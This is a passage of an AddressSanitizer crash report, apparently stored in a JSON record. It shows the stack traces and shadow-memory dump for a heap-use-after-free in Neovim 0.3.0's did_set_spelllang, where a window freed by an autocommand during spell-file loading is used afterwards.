/home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #20 0x7fc6ee791082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #21 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x625000007910 is located 16 bytes inside of 8672-byte region [0x625000007900,0x625000009ae0)\nfreed by thread T0 here:\n    #0 0x4c721d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c721d)\n    #1 0x9db384 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:133:3\n    #2 0x8cb94e in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:6978:7\n    #3 0x8afffd in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:6576:10\n    #4 0xcd8407 in spell_load_lang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:1609:14\n    #5 0xcd65cc in did_set_spelllang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:2070:9\n    #6 0x79db7e in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2562:11\n    #7 0x7d1591 in do_argfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1886:9\n    #8 0x7d06af in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1918:5\n    #9 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #10 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #11 0x691b4a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:21396:3\n    #12 0x677a83 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6358:11\n    #13 0x68211f in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6119:11\n    #14 0x67e8b6 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2726:9\n    #15 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #16 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #17 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #18 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #19 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #20 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #21 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #22 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #23 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #24 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #25 0x7fc6ee791082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4c7612 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c7612)\n    #1 0x9db41e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:147:15\n    #2 0xea8240 in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3824:19\n    #3 0xea4931 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:775:12\n    #4 0xe9be66 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:543:10\n    #5 0x7d0d2d in do_argfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1855:11\n    #6 0x7d06af in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1918:5\n    #7 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #8 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #9 0x691b4a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:21396:3\n    #10 0x677a83 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6358:11\n    #11 0x68211f in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6119:11\n    #12 0x67e8b6 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2726:9\n    #13 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #14 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #15 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #16 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #17 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #18 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #19 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #20 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #21 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #22 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #23 0x7fc6ee791082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:2189:17 in did_set_spelllang\nShadow bytes around the buggy address:\n  0x0c4a7fff8ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4a7fff8ee0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4a7fff8ef0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4a7fff8f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4a7fff8f10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=>0x0c4a7fff8f20: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff8f30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff8f40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff8f50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff8f60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff8f70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==10313==ABORTING", "creation_timestamp": "2026-09-21T03:36:10.760878Z"}]}